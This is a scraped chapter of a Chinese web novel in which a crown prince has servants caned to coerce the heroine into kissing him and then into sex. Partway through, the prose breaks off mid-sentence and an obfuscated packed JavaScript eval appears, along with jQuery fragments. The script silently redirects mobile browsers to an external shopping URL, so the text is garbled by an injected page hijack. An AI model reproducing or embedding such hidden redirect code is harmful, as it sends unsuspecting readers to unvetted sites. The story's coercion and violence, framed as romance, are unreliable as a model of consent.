文趣网 > 都市小说 > 囚梨 > 14. 第 14 章
    “你要把他们怎么样?”阮梨攥紧他的衣袖,喉咙发干问道。她怕心底的那个猜测成了真,毕竟萧越瑾从来不是什么良善之人,她的恶劣狠绝更是非常人能所及。要是惹急了他,他是真的什么事都能做出来。

    “别急,待会儿你就知道了。”萧越瑾慢慢掰开他的手,替她把攥得发皱发白的指尖捋顺,修长的手指不紧不慢卡进她的指缝里同她五指交扣,而后带着人出了大殿。

    殿外灯火通明,所有宫灯、壁灯都点亮了,明晃晃的,将东宫主殿里的琉璃砖瓦照得清清楚楚。同样,噤了声的人群以及趴长凳上被五花大绑的人也都被照得一清二楚。

    “殿下,人都带到了。”来福将下面的人都安排好后,便小跑着来到萧越瑾身边,汇报情况。

    听到来福的话,萧越瑾略略抬眼,打量了下殿前的人,就唤他抬了把太师椅来。他脸上还是没什么表情,令人看不出喜怒。

    等来福将椅子抬过来后,他扣着阮梨的手,将人拉入怀中,一同落座。

    他扫了眼底下瑟瑟发抖的众人,幽幽然开口:“这些人身为东宫的侍从护主不力,即刻杖杀!”

    话音刚落,几个身着健壮的小太监便从长凳后走出来,他们每人都拿着一根长棍,在听到萧越瑾的吩咐后,立刻挥棍而下。

    一条条漆黑油亮的长棍瞬间破空而下,空气中传来咻咻的凌厉破风声,转瞬之际那些棍棒就落到了今日随阮梨一同出行的人身上。

    棍棒打在皮肉上的闷响接连响起。一道接着一道,这一切都发生的太过突然,突然到阮梨还没反应过来,那长棍已经接连落下了两次。

    见此情景,她那张本来就白皙的脸愈发苍白起来,唇上也不见半点儿血色,“你、你要把他们都杖杀了?”

    那双乌亮的眼眸微微颤抖着,她盯着眼前面色平静而又冷硬的男人,不可置信的问道。

    她原以为,他最多就是罚他们一顿,再把人赶出东宫罢了,却没想到他竟然想要他们的性命!

    阮梨的心顿时像是被一把重锤敲过,沉重又泛着丝丝缕缕的痛,这痛扼住她的呼吸,令她快要喘不过气来,只觉窒息。

    她终究还是低估了他。

    萧越瑾将人揽在怀里,静静欣赏着她脸上的惊惧,眸底浮现出一抹满意之色。

    棍棒声不止,短短一会儿,长凳上的人身上都已经被打出血来,鲜红的颜色将一根根长棍涂得更加可怖。

    不少胆小的宫人已经不敢再看了,却因为萧越瑾的命令只能硬着头皮看下去。

    凄厉的惨叫声开始此起彼伏,被打的小太监实在是痛的不能再忍,忘了来福先前让他们不要出声的叮嘱,哀嚎出声。

    “殿下,奴才错了,请殿下放奴才一条生路吧!”

    “求殿下放过我们啊!”

    萧越瑾对底下的求饶声充耳不闻,一手卡住阮梨的后颈,勒紧她的腰身,语气轻蔑又带着几分凉薄,冲底下人开口道:“看到他们的下场了吗?以后谁要是护主不力,这便是下场!”

    明明话是对着宫人说的,可阮梨知道这是他在警告她,警告她一旦她逃跑他不会罚她,但是那些宫人会代她受过。

    宫人们见求萧越瑾不行,转而将求助的目光投向阮梨,“夫人,你救救我们吧,我们不想死啊!”

    阮梨看着他因为过度疼痛,额头上豆粒的汗珠一滴滴滚落在地,一张脸也变得惨白不已,心间的不忍达到了顶峰。

    她紧紧攥住萧越瑾的手,眸里带着祈求之色,低声开口:“不要打了,都是我的错,是我执意要跑的,你让他们停手不要再打了。”

    萧越瑾看着她脸上的脆弱无助,听着她声声低求,薄唇微勾,似笑非笑道:“阿梨如今可是知道错了?”

    “我错了,你不要再打下去了,再打下去他们真的会死的。”阮梨声音已经开始变得哽咽起来。

    她错了,她不该在刚才激怒他的,也不该在今日带着他们下山,这样他就不会怪罪到他们身上,让他们平白遭了这一场难。

    莹莹水液从阮梨眼角溢出,萧越瑾缓缓俯身,慢条斯理给她擦去,微凉的指尖触及到阮梨冰凉的肌肤那一刻,她下意识想缩回去,可一想到她眼下退缩,他定会迁怒于他人,后退的动作便生生卡在原地,任由着他动作。

    “想要我放过他们也可以,你主动,取悦我。”他盯着那张清丽的脸,一字一顿道。

    此话一出,阮梨便知这是他在报复她先前吻她时,她偏头躲了他那一吻,可现在是在大庭广众之下,这么多宫人都在这里看着,她无法在此同他心安理得的接吻。

    她软了声音,眸中挣扎之色格外明显,“别在这里,回殿里好吗?”

    萧越瑾却骤然冷了神色,直接道:“就在这里,否则,没得商量。”

    语罢,他就要命人继续去打。

    “别!”

    阮梨制止了他的动作,纤长的睫毛微颤,像是一只振翅而飞的蝴蝶,缓缓靠近他,半晌,那张避他不及的樱唇终是缓缓印在他唇上。

    她颤巍巍压住他的薄唇,回忆中他先前的样子慢慢探出小巧的舌尖去叩他齿关,萧越瑾此时也泛上一股隐秘的恶劣欲,故意唇齿紧闭,任由阮梨一遍又一遍轻叩门扉。

    阮梨吻了许久都不见他打开齿关,心下不免觉出这是眼前人故意为之,正当她有退缩之意的时候,那人却突然让她的丁香小舌钻了进去。

    她小心翼翼试探着前行,探进他温热湿润的唇齿深处,柔软的舌尖触及他的长舌被他带着一同交缠起舞。

    “唔——唔——”

    察觉到那人掌握了主动权,阮梨立马推着他的胸膛,想让他不要吻得那么深。

    萧越瑾却不顾她推搡,大手抵住她的后脑勺,同她在唇齿深处缠绵交吻着。

    底下的宫人们何曾见过这场景,纷纷低头盯着地面,不敢抬头去看。

    萧越瑾吻着人,还不忘半掀眼皮,睨一眼旁边装聋作哑要做木头人的来福,来福跟了他这么久,也是练出了火眼金睛,他家殿下一个眼神,他便知道那是什么意思。

    成功接收到信号后,他立马快步来到行刑的人身旁,快速摆手,示意他们快把人都带下去,底下的太监婢女也一并遣散。

    一吻闭,阮梨的唇色已经被他亲的嫣红,眸间水光潋滟,苍白的脸上也浮现出一丝红润,她气息不稳,细细喘着气,趴在他的肩头平复呼吸。

    待看清那些人被遣散后,心间松了一口气。

    甫一回到殿内,萧越瑾便将人重新抱了回去,这次阮梨没有任何挣扎,萧越瑾也没有再拿起那个匣子,两人心照不宣没有再提刚才的事。

    萧越瑾把人放下后,起身下榻,把灯罩里的烛芯挑了,只剩下微弱的灯光,而后重新上了床榻。

    墨色的衣摆与湖蓝色的裙摆交织,叠在一起交缠着不分彼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602568|205221||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    此,阮梨被萧越瑾半揽着,俯身趴在他胸膛之上。

    温热的气息喷洒在她的侧颈处,萧越瑾微微侧头,吻上她颈间细腻白皙的肌肤,而后缓缓启唇,轻轻舔咬,亲吻着。

    丝丝缕缕的麻意顺着颈间传遍全身,阮梨双手紧握,闭上了眼。

    感受到身上的衣物被尽数除尽,阮梨身子更是颤得不行,拖了这么久,终究还是来了。萧越瑾借着微弱的烛光,看着眼前人一副双眸紧闭,像是即将上战场的死士一般,不由得露出一声嗤笑。

    想当初,他们两个的第一次还是她主动的。

    那个词像是把钥匙打开了她记忆的闸门,让那个迷乱潮湿的夜晚里的记忆一下子破笼而出。

    那天萧越瑾去参加了一个宫宴,不知在宫宴上食了什么,回来时便已经是一副中药的样子了。

    一张白皙俊美的脸满是绯红,被药性折磨的他意识模糊,在来福的搀扶下勉强回了寝殿。她见到他时,他的状态已是强弩之末,侧颈间凸起的青筋隐隐跳跃,那双锐利的丹凤眼像是一潭幽深的古井,深不见底又泛着浓浓的欲。

    “阿梨,阿梨,阮梨。”他抱着她胡乱的喊着,难耐地蹭着她,全身火热。

    阮梨抱着浑身滚烫的他只觉怀里像是揽了个烫手山芋,想要把来福再唤进来,来福却不知去了哪,半点儿听不到她的传唤。

    萧越瑾已经不能再忍,在她侧颈处乱蹭着亲着,步伐踉跄把人往榻上带,阮梨一时不察,竟然真就被他拉进榻中。

    薄纱似的床幔款款坠落,遮住烛光的窥探,也为里面营造了一个封闭的独立空间。

    萧越瑾当时已经难受到了极点,身上的衣服被他乱糟糟解了一通,却因为意识不清,弄了个七零八乱。

    阮梨见此情景,也知道这一天终究还是来了,她看着一旁眸子水光涟漪,眼尾泛起绯红的男人,抿抿唇,替他解了衣裳。

    “阿梨,阿梨。”他唤她,手也不老实的捉她手腕,往那处按去,“难受,好难受。”他神情不似以往的冷狠戾,反而带了几分脆弱与懵懂,像是对此事并不了解。

    其实在阮梨之前,萧越瑾从未对谁产生过男女之情,因此对这些床榻上的事不去了解,也不屑于去了解。

    遇到这种情况,他只知难受,也只知眼前人能帮他缓解,但具体如何行事,他是一概不知。

    阮梨别无他法,只能温声哄着他,解了他身上的衣裳,她这般对他并不是对他产生什么同情,而是不想让自己遭罪罢了。

    萧越瑾如今倒也真听话,咬着唇不动,只是用一双黑漆漆的眸子盯着她,任由她除尽两人身上的衣裳。

    “待会儿你不要乱来。”阮梨吻着他的下巴,同他低声说道,虽说她不知眼前人还能不能听清楚她的话,但她还是要说,这也算是给她自己一个暗示和鼓励。

    萧越瑾高高扬起脖颈,低低应了一声,像是一个引颈受戮的囚犯,任由阮梨在他侧颈处吻着,轻轻带过他凸起的喉结,顺着一路往下。

    ……

    记忆回笼,阮梨瞧着萧越瑾略显催促的目光,微微抿唇,她知他这般是想让她和那次一样,可时过境迁,他也不是当初那个懵懂无知的少年,而她也全然没了以前那份耐心。但她知道,像他那般偏执的人,不达目的是不会罢休的。

    她心间叹了口气,微微俯身,像那次一样,将轻柔的吻印在他的下巴处。

    ……